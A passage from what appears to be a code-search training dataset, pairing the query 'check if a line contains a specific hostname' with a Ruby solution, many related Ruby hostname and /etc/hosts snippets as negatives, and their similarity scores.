"def disable_updates hosts, opts\n logger = opts[:logger]\n hosts.each do |host|\n next if host['platform'].include?('netscaler')\n\n logger.notify \"Disabling updates.puppetlabs.com by modifying hosts file to resolve updates to 127.0.0.1 on #{host}\"\n set_etc_hosts(host, \"127.0.0.1\\tupdates.puppetlabs.com\\n\")\n end\n end",
"def make_host\n unless self.host.host\n self.host.update(:host => true)\n end\n end",
"def zookeeper_etc_hosts\n zk_private_hosts = ZookeeperHelpers.manager.etc_hosts(false)\n # remove any existing server entries in /etc/hosts\n sudo(\"sed -i -e '/BEGIN_ZOO_SERVERS/,/END_ZOO_SERVERS/{ d; }' /etc/hosts\")\n # append new entries to the /etc/hosts file (one line at a time)\n sudo(\"echo '### BEGIN_ZOO_SERVERS' | sudo tee -a /etc/hosts > /dev/null\")\n zk_private_hosts.each do |etc_host|\n sudo(\"echo '#{etc_host}' | sudo tee -a /etc/hosts > /dev/null\")\n end\n sudo(\"echo '### END_ZOO_SERVERS' | sudo tee -a /etc/hosts > /dev/null\")\nend",
"def set_host host\n @host = host\n end",
"def parse_hostname(config)\n mdata = /(?<=^hostname\\s)(.+)$/.match(config)\n { hostname: mdata.nil? ? '' : mdata[1] }\n end",
"def update_domain_nameservers(domain, nameservers = {})\n connection.post \"/domain/update_nameservers/#{domain}\", { :nameservers => nameservers }\n end",
"def gather_hostname(host_or_ip)\n is_ip = !!IPAddr.new(host_or_ip) rescue false\n hostname_to_set = nil\n if is_ip\n hostname_to_set =\n ask('Please enter the hostname for the Global Zone - this will be set on boot:')\n else\n hostname_to_set =\n ask(\"Please enter the hostname for the Global Zone - this will be set on boot:\") {|q| q.default = host_or_ip}\n end\n say \"Will set hostname to: #{hostname_to_set} on boot.\".green\n\n hostname_to_set\n end",
"def host=(v)\n check_host(v)\n set_host(v)\n v\n end",
"def host=(value)\n @host = value\n end"
] |
[
"0.7933892",
"0.7650799",
"0.75973976",
"0.7427423",
"0.73834133",
"0.7361063",
"0.7143645",
"0.70696884",
"0.7037517",
"0.69144684",
"0.6911625",
"0.6863145",
"0.683476",
"0.6830129",
"0.6818101",
"0.68174195",
"0.67421854",
"0.6723371",
"0.66878927",
"0.66419506",
"0.66106766",
"0.6575237",
"0.65584564",
"0.655778",
"0.6552067",
"0.65078604",
"0.65019614",
"0.64977366",
"0.6483319",
"0.64682263",
"0.6461755",
"0.6461755",
"0.6459423",
"0.64147997",
"0.6383364",
"0.63549197",
"0.6354846",
"0.63177365",
"0.6308026",
"0.6308026",
"0.63057077",
"0.62811655",
"0.6280434",
"0.62467754",
"0.62015074",
"0.6127276",
"0.61177874",
"0.60975754",
"0.6086279",
"0.6065556",
"0.60634995",
"0.6030811",
"0.59718585",
"0.5963082",
"0.59240633",
"0.5921984",
"0.5910781",
"0.5876159",
"0.5872381",
"0.5811963",
"0.5799747",
"0.57957035",
"0.57908386",
"0.5784257",
"0.57673633",
"0.57644045",
"0.5762448",
"0.57394505",
"0.5682338",
"0.5679361",
"0.56708676",
"0.5645644",
"0.5638581",
"0.5625084",
"0.5624321",
"0.5620792",
"0.56181985",
"0.5615314",
"0.56137913",
"0.56070584",
"0.56050116",
"0.5595642",
"0.55893177",
"0.5564532",
"0.55591685",
"0.55568415",
"0.555197",
"0.5542967",
"0.55243385",
"0.551824",
"0.5515026",
"0.55145246",
"0.55133927",
"0.55032104",
"0.5496331",
"0.54872346",
"0.54770553",
"0.54740435",
"0.5470886",
"0.54570264"
] |
0.7616269
|
2
|
Check if a line of string contains specific hostname
|
def includes_hostname?(line, hostname)
/\s#{Regexp.escape(hostname.fqdn)}(\s|$)/ =~ line
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def includes_hostname?(line, hostname)\n /\\s#{Regexp.escape(hostname)}(\\s|$)/ =~ line\n end",
"def validate_hostname(hostname)\n hostname_regex = /(hostname)$/\n if hostname_regex =~ hostname\n $evm.log(\"info\",\"Hostname:<#{hostname}> found\") if @debug\n return true\n else\n $evm.log(\"error\",\"Hostname:<#{hostname}> not found\") if @debug\n return false\n end\n end",
"def hostname_correct?(host_name)\n host_name == capture(%{hostname}).chomp\nend",
"def add_host\n entry_line = \"#{ipaddress?} www.example.com test.example.com\"\n\n if open('/etc/hosts') { |f| f.grep(/^#{entry_line}$/).empty? }\n open('/etc/hosts', 'a') { |p| p.puts \"\\n#{entry_line}\" }\n end\n\n if open('/etc/hosts') { |f| f.grep(/^#{entry_line}$/).empty? }\n false\n else\n true\n end\nend",
"def fqdn_correct?(host_name, domain_name, ip_addr)\n cmd_if %{egrep -q '^#{ip_addr}[[:space:]]+#{host_name}.#{domain_name}' /etc/hosts >/dev/null}\nend",
"def match_host(hostname)\n hostname === host\n end",
"def is_hostname?\n ip = Rex::Socket.addr_atoi( @dest_ip )\n if( ip & 0xFFFFFF00 == 0x00000000 )\n return true if( ip & 0x000000FF != 0x00 )\n end\n return false\n end",
"def is_hosts_configured()\n ary = []\n hosts_file = \"hosts\"\n open(hosts_file, \"r\") {|f|\n f.each_line {|l|\n if not (l =~ /^(\\[|#|\\n)/) # match lines doesn't start from \"[\", \"#\" or \"\\n\"\n ary << l\n end\n }\n }\n if ary.size == 0\n return false\n else\n return true\n end\nend",
"def valid_ip_or_hostname(string)\n if string\n # Simple IP address reg ex (from https://www.safaribooksonline.com/library/view/regular-expressions-cookbook/9780596802837/ch07s16.html)\n ip_match = /^(?:[0-9]{1,3}\\.){3}[0-9]{1,3}$/.match(string)\n return true if ip_match\n\n # Hostname reg ex\n host_match = /^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\\-]*[A-Za-z0-9])$/.match(string)\n return true if host_match\n end\n\n return false\n end",
"def host_exists?(host)\n `#{cmk} --list-hosts`.split(/\\n/).include?(host)\n end",
"def has_host?(addr)\n\t\tHost.find(:first, :conditions => [ \"address = ?\", addr])\n\tend",
"def does_resolve_to_host?\n mx_records.include? Socket.gethostname\n end",
"def is_addr(s)\n s.match(/^[0-9a-fA-F]+:$/) != nil\nend",
"def validate_hostname(userdata)\n if userdata =~ /\\A[A-Za-z0-9\\-\\.]{2,254}\\z/\n userdata\n else\n raise 'Illegal hostname'\n end\n end",
"def valid_dns_record? (hostname)\n\t\tputs \"Validate the hostname record: #{hostname}\" if @verbose\n\t\tbegin\n\t\t\tips=Resolv.getaddresses(hostname)\n\t\t\tif ips.empty?\n\t\t\t\treturn false\n\t\t\telse\n\t\t\t\tputs \"Found: #{hostname}\" if @verbose\n\t\t\t\treturn true\n\t\t\tend\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for host #{hostname}: #{ee}\" if @verbose\n\t\t\treturn false\n\t\tend\n\tend",
"def validate_host_header(value)\n # allow only valid hostnames\n value.match?(host_regex) && !value.match?(/_/)\n end",
"def check_for_the_message (line) \n File.readlines(get_system_log).grep(line).any? \n end",
"def has_host?(wspace,addr)\n\t\twspace.hosts.find_by_address(addr)\n\tend",
"def add_host(line, hostname)\n return if line !~ /^([^\\s]+)(\\s+)/\n\n i = $~.end(2)\n \"#{$1}#{$2}#{hostname.fqdn} #{line[i..-1]}\"\n end",
"def has_host?(wspace,addr)\n ::ApplicationRecord.connection_pool.with_connection {\n address, scope = addr.split('%', 2)\n wspace.hosts.find_by_address(addr)\n }\n end",
"def resolve_hostname_on(host, hostname)\n match = curl_on(host, \"--verbose #{hostname}\", accept_all_exit_codes: true).stderr.match(ipv4_regex)\n match ? match[0] : nil\n end",
"def check_hostnames\n all_good = true\n \n @check_groups.each do |group|\n group.checks.each do |check|\n unless check.hostname && Dnsruby::Resolv.getaddress(check.hostname)\n puts \"Error: check #{check.name} has invalid hostname '#{check.hostname}'\"\n all_good = false\n end\n end\n end\n \n all_good\n end",
"def contains?(line, string)\n line.chomp.split('/' ).include?(string)\n end",
"def host_is_app_host?(hostname)\n hostname == \"adapt.127.0.0.1.xip.io\"\n end",
"def check_hostname_dns_reverse_lookup\n my_fqdn = %x{hostname -f}.chomp\n if !$?.success?\n opoo \"You can't run 'hostname -f'!? I can't check your hostname dns reverse lookup.\"\n elsif %x{traceroute -m 2 \"#{my_fqdn}\" 2>/dev/null}.chomp.lines.to_a.size != 1 || !$?.success?\n # Actually, passing this check only proves that the name is bound to someone in your subnet.\n opoo \"Your effective FQDN (#{my_fqdn}) doesn't seem to traceroute to yourself.\"\n end\n end",
"def valid_host?\n return false if invalid_uri_error?\n \n # check for wildcard definition e.g. *.github.com\n wildcard_hosts = Array.new\n @valid_hosts.each do |valid_host|\n result = valid_host.scan(/^\\*\\.(.*\\..*)$/)\n wildcard_hosts << result[0] unless result.empty?\n end\n return wildcard_hosts.include?(@host.scan(/^(?:.*\\.)?(.*\\..*)$/)[0]) unless wildcard_hosts.empty?\n \n # basic check\n return @valid_hosts.include?(@host) || @valid_hosts.empty? \n end",
"def host_in_use?(hostname)\n @hosts[hostname][:used]\n end",
"def internal_host?(host)\n Resolv.getaddresses(host).all? { |ip| internal_ip?(ip) }\n rescue URI::Error\n false\n end",
"def host_label?(str)\n str =~ /^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)$/\n end",
"def known_host_hash?(hostlist, entries); end",
"def contains_host?(id)\n contains_resource?('HOSTS/ID', id)\n end",
"def host_exists?(host)\n # :nocov:\n # Patch for BZ840938 to support Ruby 1.8 on machines without /etc/resolv.conf\n dns = Resolv::DNS.new((Resolv::DNS::Config.default_config_hash || {}))\n dns.getresources(host, Resolv::DNS::Resource::IN::A).any?\n # :nocov:\n end",
"def hostname\n raise 'empty hostname, something wrong' if @in_hostname.empty?\n @in_hostname\n end",
"def exact_ip_address?(str)\n !!(str =~ /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/)\nend",
"def ip_address? (str)\n\treturn str.match? /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/\nend",
"def on_line?(line)\n end",
"def website(input)\n\t(/((http|https)\\:\\/\\/)?(www)?(.+)(\\.[a-zA-Z]{2,3})+/i =~ input)? \"true\" : \"false\"\nend",
"def tld_matches?(rule)\n rule.match(/\\A\\..+\\z/) &&\n ( @host_name[-rule.size, rule.size] == rule.downcase || \".#{@host_name}\" == rule) \\\n ? true : false\n end",
"def build_host_string_check(hostname)\n @host_check = lambda do |url|\n if url.host != hostname\n [422, {}, \"URL must be from #{hostname}\"]\n end\n end\n end",
"def check_host(v)\n return v unless v\n\n if @opaque\n raise InvalidURIError,\n \"can not set host with registry or opaque\"\n elsif parser.regexp[:HOST] !~ v\n raise InvalidComponentError,\n \"bad component(expected host component): #{v}\"\n end\n\n return true\n end",
"def generating_rules_for_current_host?\n Asbestos.hostname.to_s == @name.to_s\n end",
"def host\n @prefix =~ PREFIX_PAT and $3\n end",
"def process_nix(r,ns_opt)\n\t\tr.each_line do |l|\n\t\t\tdata = l.scan(/(\\S*) has address (\\S*)$/)\n\t\t\tif not data.empty?\n\t\t\t\tdata.each do |e|\n\t\t\t\t\tprint_good(\"#{ns_opt} #{e[1]}\")\n\t\t\t\t\treport_host(:host=>e[1], :name=>ns_opt.strip)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def certificate_matches_server_hostname?\n Boolean[@node['certificateMatchesServerHostname']]\n end",
"def marmiton_host? url\n return url.include?(MARMITON_HOST[:desktop]) || url.include?(MARMITON_HOST[:mobile])\n end",
"def valid_format?\n if host_name =~ CANONICAL_HOST_REGEX && to_s.size <= MAX_HOST_LENGTH\n return true if localhost?\n return true if host_name.include?(\".\") # require FQDN\n end\n set_error(:domain_invalid)\n end",
"def valid?\n (uri.host =~ LINK_REGEX || uri.host =~ LINK_IP_REGEX) ? true : false\n end",
"def post_connection_check(peer_cert, hostname)\n check_common_name = true\n cert = peer_cert\n cert.extensions.each{|ext|\n next if ext.oid != \"subjectAltName\"\n ext.value.split(/,\\s+/).each{|general_name|\n if /\\ADNS:(.*)/ =~ general_name\n check_common_name = false\n reg = Regexp.escape($1).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n elsif /\\AIP Address:(.*)/ =~ general_name\n check_common_name = false\n return true if $1 == hostname\n end\n }\n }\n if check_common_name\n cert.subject.to_a.each{|oid, value|\n if oid == \"CN\"\n reg = Regexp.escape(value).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n end\n }\n end\n raise OpenSSL::SSL::SSLError, \"hostname not match\"\n end",
"def is_fqdn? (host)\n\t\tputs \"Validate the host-name format is valid: #{host}\" if @verbose\n\t\treturn false if is_ip?(host) or is_url?(host)\n\t\tdomain=get_domain_root(host)\n\t\tif domain.nil?\n\t\t\treturn false\n\t\telsif is_domain_root?(domain)\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n#\trescue => ee\n#\t\tputs \"Exception on method is_fqdn? for #{host}: #{ee}\" if @verbose\n#\t\treturn false\n\tend",
"def received_host?\n message? && target.downcase.eql?(@handler.bot.channel.name.downcase) &&\n /:\\w+ is now hosting you./.match?(@payload)\n end",
"def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n return false unless dot_separated_words.size == 4\n \n dot_separated_words.each do |word|\n return false unless (0..256).include?(word.to_i)\n end\n\n return true\nend",
"def local?\r\nLOCALHOST =~ remote_addr && LOCALHOST =~ remote_ip\r\nend",
"def invalid_host?(host)\n !host.class.to_s.eql?(\"String\") || host.empty?\n end",
"def has_required_host?\n true\n end",
"def valid_dns?\n @host.exchanger.has_dns_a_record?\n end",
"def unsafe_host?(item, _options = {})\n item = item.to_s.downcase\n return [:host, item] if in_pool?(:host, item)\n end",
"def contains_entry?\n contains = false\n file = File.new(HOSTS_FILE, \"r\")\n \n #getting the time of the file, might use this for something useful. right now it's only printing the file time to the console\n p File.ctime(HOSTS_FILE)\n while (line = file.gets)\n if line == NEW_HOSTS\n contains = true\n end\n end\n file.close \n contains\nend",
"def host_allowed?(arg)\n true\n end",
"def check_host\n result = `ping -q -c 2 #{@conn[:host]}`\n # return true or false if exit status is 0\n $?.exitstatus == 0\n end",
"def host_avail?(hostname)\n host_available = false\n puts \"Pinging host #{hostname}...\"\n exit_status = system(\"ping -q -c 1 #{hostname} >/dev/null 2>&1\")\n if exit_status\n puts \" --> Host #{hostname} is available.\"\n host_available = true\n else\n puts \" --> Host #{hostname} is unavailable!\"\n end\n host_available\n end",
"def verify_domain(domain)\n begin\n Socket.gethostbyname(domain)\n rescue SocketError\n return false\n end\n\n true\n end",
"def link_local(link)\n begin\n u = URI.parse link\n host_match = u.host == @url.host\n nil_host = u.host.nil?\n return host_match || nil_host\n rescue\n false\n end\n end",
"def post_connection_check(peer_cert, hostname) # :nodoc:\n check_common_name = true\n cert = peer_cert\n cert.extensions.each{|ext|\n next if ext.oid != \"subjectAltName\"\n ext.value.split(/,\\s+/).each{|general_name|\n if /\\ADNS:(.*)/ =~ general_name\n check_common_name = false\n reg = Regexp.escape($1).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n elsif /\\AIP Address:(.*)/ =~ general_name\n check_common_name = false\n return true if $1 == hostname\n end\n }\n }\n if check_common_name\n cert.subject.to_a.each{|oid, value|\n if oid == \"CN\"\n reg = Regexp.escape(value).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n end\n }\n end\n raise SSL::SSLError, \"hostname was not match with the server certificate\"\n end",
"def resolved?(dns, challenge)\n valid = false\n dns.each_resource(challenge[:acme_domain], Resolv::DNS::Resource::IN::TXT) { |resp|\n resp.strings.each do |curr_resp|\n if curr_resp == challenge[:txt_challenge]\n puts \"✔ #{challenge[:acme_domain]}: Found #{curr_resp}, a match.\"\n return true\n end\n end\n valid = true\n puts \"✘ #{challenge[:acme_domain]}: Found TXT record, but didn't match expected value of #{challenge[:txt_challenge]}\" \n }\n if !valid\n puts \"✘ #{challenge[:acme_domain]}: Found no TXT record\"\n end\n return false\nend",
"def dot_separated_ip_address?(input_string)\n dot_separated_words = input_string.split(\".\")\n if dot_separated_words.size != 4\n return false\n else\n dot_separated_words.each do |word|\n if (0..256).include?(word.to_i)\n next\n else\n return false\n end\n end\n end\n return true\nend",
"def is_local_host?(host)\n if host == 'localhost' || host == '127.0.0.1' || host == '::1'\n true\n else\n require 'socket'\n require 'resolv'\n Socket.ip_address_list.map { |a| a.ip_address }.include? Resolv.getaddress host\n end\n end",
"def ipv4?(string)\n !!string.match(/(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/)\nend",
"def is_url_valid_www(url)\n return url.include? \"www.\"\nend",
"def visit_host?(host)\n @host_rules.accept?(host)\n end",
"def address_is_local?(address)\n Rails.configuration.local_addresses.any? { |spec| address_matches spec.strip.split('.'), address.strip.split('.') }\nend",
"def cuisineaz_host? url\n return url.include? CUISINEAZ_HOST[:desktop]\n end",
"def is_http_header? line\n line.split(':').length == 2\n end",
"def lookup_hostname(host)\n Socket.getaddrinfo(host, nil, nil, Socket::SOCK_STREAM)[0][3]\n rescue SocketError\n raise(InvalidHostname, Errstr::INVALID_HOST % host)\n end",
"def ipv6_address?(addr)\n return true if addr =~ /:/\n return false\n end",
"def fix_host\n if host.blank?\n begin\n uri = URI(url)\n logger.debug (self.host = uri.host.match(/\\w*\\.\\w*$/)[0])\n rescue\n return false\n end\n end\n true\n end",
"def local?(url,domain_name=nil)\n return nil unless url\n !!(url.match(%r{(^|://)(127|192|10)\\.0}) || url.match(%r{(^|://)localhost}) || (domain_name && url.match(%r{\\.#{domain_name}\\b})))\n end",
"def host_is_okay\n return false unless @report_data[:host]\n return false unless valid_ip(@report_data[:host])\n return false unless @report_data[:state] == Msf::HostState::Alive\n if @args[:blacklist]\n return false if @args[:blacklist].include?(@report_data[:host])\n end\n return true\n end",
"def hosts_eql?(a, b) # rubocop:disable Naming/UncommunicativeMethodParamName\n parse_host(a) == parse_host(b)\n rescue IPAddr::InvalidAddressError\n false\n end",
"def match?(line)\n return false unless self.to_regexp.match(line.value)\n true\n end",
"def okIP(addr)\nreturn addr != \"0.0.0.0\" &&\n addr != \"255.255.255.255\" &&\n !addr.match(/^169\\.254.*/) &&\n !addr.match(/^10.*/) &&\n !addr.match(/^172\\.[1-3].*/) && # TODO: match the block better\n !addr.match(/^192\\.168.*/)\nend",
"def replace_host(line, old_hostname, new_hostname)\n line.sub(\n /(\\s)#{Regexp.escape(old_hostname.fqdn)}(\\s|$)/,\n \"\\\\1#{new_hostname.fqdn}\\\\2\"\n )\n end",
"def same_host?(uri)\n uri.host == @url.host\n end",
"def is_local_host\n require 'ipaddr'\n begin\n local = IPAddr.new(\"127.0.0.0/8\")\n private1 = IPAddr.new(\"10.0.0.0/8\")\n private2 = IPAddr.new(\"172.16.0.0/12\")\n private3 = IPAddr.new(\"192.168.0.0/16\")\n private4 = IPAddr.new(\"85.230.85.45\")\n private5 = IPAddr.new(\"94.234.170.18\")\n\n if local.include?(request.remote_ip)\n return true\n end\n if private1.include?(request.remote_ip)\n return true\n end\n if private2.include?(request.remote_ip)\n return true\n end\n if private3.include?(request.remote_ip)\n return true\n end\n if private4.include?(request.remote_ip)\n return true\n end\n if private5.include?(request.remote_ip)\n return true\n end\n return false\n rescue\n return false\n end\n end",
"def g750_host? url\n return url.include? G750_HOST[:desktop]\n end",
"def verify_host\n @j_del.isVerifyHost\n end",
"def domain_matches?(rule)\n rule.match(/\\A[^\\.]+\\.[^\\.]+\\z/) && @host.domain_name == rule.downcase ? true : false\n end",
"def includes_name?(line, name)\n /\\s#{Regexp.escape(name)}(\\s|$)/ =~ line\n end",
"def includes_name?(line, name)\n /\\s#{Regexp.escape(name)}(\\s|$)/ =~ line\n end",
"def add_host(host)\r\n if host.class == String\r\n host = Regexp.new(host)\r\n end\r\n unless @hosts.include?(host)\r\n @hosts << host\r\n end\r\n end",
"def infile(str, filename)\n\t\t\t\tregex = Regexp.new(\"^#{Regexp.escape(str)}:\")\n\t\t\t\tFile.open(filename, File::RDONLY) { |fp|\n\t\t\t\t\tfp.each_line() { |line|\n\t\t\t\t\t\tif(regex.match(line))\n\t\t\t\t\t\t\treturn(true)\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn(false)\n\t\t\tend",
"def hasline?(line)\n\t\tlines.include?(line)\n\tend",
"def is_orig_word_line(line)\n line.match(@orig_word_regex)\n end",
"def lookup_in_ethers(input)\n if File.exist?(@ethers) and File.readable?(@ethers)\n File.open(@ethers,'r') do |f|\n f.each_line do |line|\n next if line.match(/^#/)\n next if line.match(/^\\s$/)\n mac, host = line.chomp.split\n if /^#{input}$/.match(host)\n return mac\n end\n end\n end\n return nil\n end\n end",
"def same_source_host?\n parse(@url).host == parse(@source_url).host\n end",
"def match(argv1)\n return nil unless argv1\n regex = %r{(?>\n domain[ ](?:\n does[ ]not[ ]exist\n |is[ ]not[ ]reachable\n |must[ ]exist\n )\n |host[ ](?:\n or[ ]domain[ ]name[ ]not[ ]found\n |unknown\n |unreachable\n )\n |Mail[ ]domain[ ]mentioned[ ]in[ ]email[ ]address[ ]is[ ]unknown\n |name[ ]or[ ]service[ ]not[ ]known\n |no[ ]such[ ]domain\n |recipient[ ](?:\n address[ ]rejected:[ ]unknown[ ]domain[ ]name\n |domain[ ]must[ ]exist\n )\n |The[ ]account[ ]or[ ]domain[ ]may[ ]not[ ]exist\n |unknown[ ]host\n |Unrouteable[ ]address\n )\n }ix\n\n return true if argv1 =~ regex\n return false\n end",
"def determine_hostname\n @info[:hostname] = @shell.query('HOST', 'hostname')\n end",
"def change_hostname(fname, outfile)\n hostname = `hostname`.chomp\n File.open(fname) do |f|\n f.each_line do |line|\n line = line.sub(/ip-\\d{1,3}-\\d{1,3}-\\d{1,3}-\\d{1,3}/,hostname)\n outfile.puts line\n end\n end\nend",
"def known_host_hash?(hostlist, entries)\n if hostlist.size == 1 && hostlist.first =~ /\\A\\|1(\\|.+){2}\\z/\n chunks = hostlist.first.split(/\\|/)\n salt = Base64.decode64(chunks[2])\n digest = OpenSSL::Digest.new('sha1')\n entries.each do |entry|\n hmac = OpenSSL::HMAC.digest(digest, salt, entry)\n return true if Base64.encode64(hmac).chomp == chunks[3]\n end\n end\n false\n end",
"def check_host(host, path = '/', timeout = 5)\n begin\n status = Timeout::timeout(timeout) do\n Net::HTTP.start(URI.parse(host).host) do |http|\n response = http.get(path)\n\n if not response.code.match(/200/)\n log_error(\"Web Server down or not responding: #{response.code} #{response.message}\")\n return false;\n end\n\n if @test_regex && ! response.body.match(@test_regex)\n log_error(\"The response did not contain the regex '#{@test_regex}'\")\n return false\n end\n end\n end\n rescue SocketError => socket_error\n log_error(\"Error Connecting To Web: #{socket_error}\")\n return false;\n rescue TimeoutError => timeout_error\n log_error(\"Timeout occured checking #{host}#{path} after #{timeout} seconds.\")\n return false;\n rescue Exception => e\n log_error(\"An unknown error occured checking #{host}#{path}: #{e}\")\n return false;\n end\n\n return true\n end",
"def parse_hostname(config)\n mdata = /(?<=^hostname\\s)(.+)$/.match(config)\n { hostname: mdata.nil? ? '' : mdata[1] }\n end"
] |
[
"0.8604411",
"0.704599",
"0.69021696",
"0.688287",
"0.6793343",
"0.6696327",
"0.66661876",
"0.6400066",
"0.6380634",
"0.63708377",
"0.6271574",
"0.62470645",
"0.62233603",
"0.6118068",
"0.61108977",
"0.6087012",
"0.6068708",
"0.6038921",
"0.602795",
"0.6027074",
"0.6002057",
"0.5972256",
"0.595301",
"0.5923303",
"0.58131516",
"0.58085316",
"0.57754755",
"0.5767662",
"0.5760706",
"0.57300323",
"0.57293147",
"0.57271796",
"0.5724145",
"0.5718576",
"0.5702251",
"0.57011765",
"0.5696496",
"0.56818503",
"0.56757474",
"0.56629664",
"0.56513333",
"0.5650809",
"0.5649263",
"0.5631268",
"0.56180215",
"0.5609555",
"0.5607646",
"0.5592056",
"0.5591639",
"0.55906814",
"0.55857563",
"0.5582192",
"0.5557067",
"0.5530662",
"0.5503282",
"0.5490861",
"0.54903686",
"0.548527",
"0.54813117",
"0.5479487",
"0.54784733",
"0.5474305",
"0.54655504",
"0.54563254",
"0.5452789",
"0.54266715",
"0.542025",
"0.5416569",
"0.53988045",
"0.5396087",
"0.53919804",
"0.5369857",
"0.5365821",
"0.5363963",
"0.5352542",
"0.5351361",
"0.5350939",
"0.53436583",
"0.5337426",
"0.53367054",
"0.5333143",
"0.533203",
"0.53134775",
"0.5312722",
"0.5296042",
"0.52705634",
"0.52671796",
"0.52671796",
"0.52562195",
"0.524023",
"0.5239644",
"0.5238849",
"0.5237773",
"0.5234866",
"0.52338123",
"0.52331334",
"0.5222721",
"0.5220854",
"0.52151376",
"0.52065164"
] |
0.8479698
|
1
|
Add `hostname` to `line` from `/etc/hosts` The hostname is put into the first position.
|
def add_host(line, hostname)
return if line !~ /^([^\s]+)(\s+)/
i = $~.end(2)
"#{$1}#{$2}#{hostname.fqdn} #{line[i..-1]}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def replace_host(line, old_hostname, new_hostname)\n line.sub(\n /(\\s)#{Regexp.escape(old_hostname.fqdn)}(\\s|$)/,\n \"\\\\1#{new_hostname.fqdn}\\\\2\"\n )\n end",
"def rebuild_host_file(hostname_, fqdn_)\n\n # Get the old hosts file\n hosts_content = ssh.exec! \"cat /etc/hosts\"\n hosts = Hosts::File.parse(hosts_content)\n\n # Delete old entry if exist\n hosts.elements.each{ |element| hosts.elements.delete element if element.class == Hosts::Entry && element.address == ip }\n \n # Add the new entry\n localhost_entry = Hosts::Entry.new ip, fqdn_, aliases: [hostname_], comment: ' Generated by Appd'\n hosts.elements.insert(0, localhost_entry)\n ssh.write \"/etc/hosts\", content: hosts.to_s, sudo: true\n end",
"def change_hostname(fname, outfile)\n hostname = `hostname`.chomp\n File.open(fname) do |f|\n f.each_line do |line|\n line = line.sub(/ip-\\d{1,3}-\\d{1,3}-\\d{1,3}-\\d{1,3}/,hostname)\n outfile.puts line\n end\n end\nend",
"def update_etc_hosts(old_hostname = nil)\n regenerate_file(File.join(ct.rootfs, 'etc', 'hosts'), 0644) do |new, old|\n old.each_line do |line|\n if (/^127\\.0\\.0\\.1\\s/ =~ line || /^::1\\s/ =~ line) \\\n && !includes_hostname?(line, ct.hostname)\n\n if old_hostname && includes_hostname?(line, old_hostname)\n line.sub!(/\\s#{Regexp.escape(old_hostname)}/, '')\n end\n\n new.puts(\"#{line.rstrip} #{ct.hostname}\")\n\n else\n new.write(line)\n end\n end\n end\n end",
"def add_host\n entry_line = \"#{ipaddress?} www.example.com test.example.com\"\n\n if open('/etc/hosts') { |f| f.grep(/^#{entry_line}$/).empty? }\n open('/etc/hosts', 'a') { |p| p.puts \"\\n#{entry_line}\" }\n end\n\n if open('/etc/hosts') { |f| f.grep(/^#{entry_line}$/).empty? }\n false\n else\n true\n end\nend",
"def includes_hostname?(line, hostname)\n /\\s#{Regexp.escape(hostname.fqdn)}(\\s|$)/ =~ line\n end",
"def fix_line\n el = @l.split(\" \")\n\n u = URI(el[1])\n\n disable = false\n\n case u.host\n when \"releases.ubuntu.com\"\n c = u.host\n u.host = \"archive.ubuntu.com\"\n if self.uri_exists(self.get_url(u.to_s)) == false\n u.host = c\n end\n when \"archive.ubuntu.com\", \"security.ubuntu.com\"\n c = u.host\n u.host = \"old-releases.ubuntu.com\"\n if self.uri_exists(self.get_url(u.to_s)) == false\n u.host = c\n end\n when \"old-releases.ubuntu.com\"\n raise Exception, \"You're fucked.\"\n else\n # this is tricky, e.g. is the mirror down or did it move?\n c = u.host\n\n if c =~ /(.*)\\.releases\\.ubuntu\\.com/\n u.host = \"archive.ubuntu.com\"\n elsif c =~ /(.*)\\.archive\\.ubuntu\\.com/\n u.host = \"old-releases.ubuntu.com\"\n else\n disable = true\n end\n\n if disable == false\n if self.uri_exists(u.to_s) == false\n u.host = c\n end\n end\n\n end\n\n el[1] = u.to_s\n line = el.join(\" \")\n\n if disable == true\n line = '#' + line\n end\n\n return line\n end",
"def includes_hostname?(line, hostname)\n /\\s#{Regexp.escape(hostname)}(\\s|$)/ =~ line\n end",
"def replace_host(comm, name, ip)\n basename = name.split(\".\", 2)[0]\n comm.sudo <<-EOH.gsub(/^ {14}/, '')\n sed -i '/#{name}/d' /etc/hosts\n sed -i'' '1i '#{ip}'\\\\t#{name}\\\\t#{basename}' /etc/hosts\n EOH\n end",
"def add_host(host)\r\n if host.class == String\r\n host = Regexp.new(host)\r\n end\r\n unless @hosts.include?(host)\r\n @hosts << host\r\n end\r\n end",
"def set_hostname\n return unless File.exist?(hostname_path)\n return if File.read(hostname_path).strip == new_hostname\n puts \"Setting local hostname (#{new_hostname})...\"\n write_file(hostname_path, new_hostname)\n `hostname -F /etc/hostname`\n end",
"def replace_host(comm, name, ip)\n basename = name.split(\".\", 2)[0]\n comm.sudo <<-EOH.gsub(/^ {14}/, '')\n sed -i.bak '/#{name}/d' /etc/hosts\n sed -i.bak '1i\\\\\\n#{ip}\\t#{name}\\t#{basename}\\n' /etc/hosts\n EOH\n end",
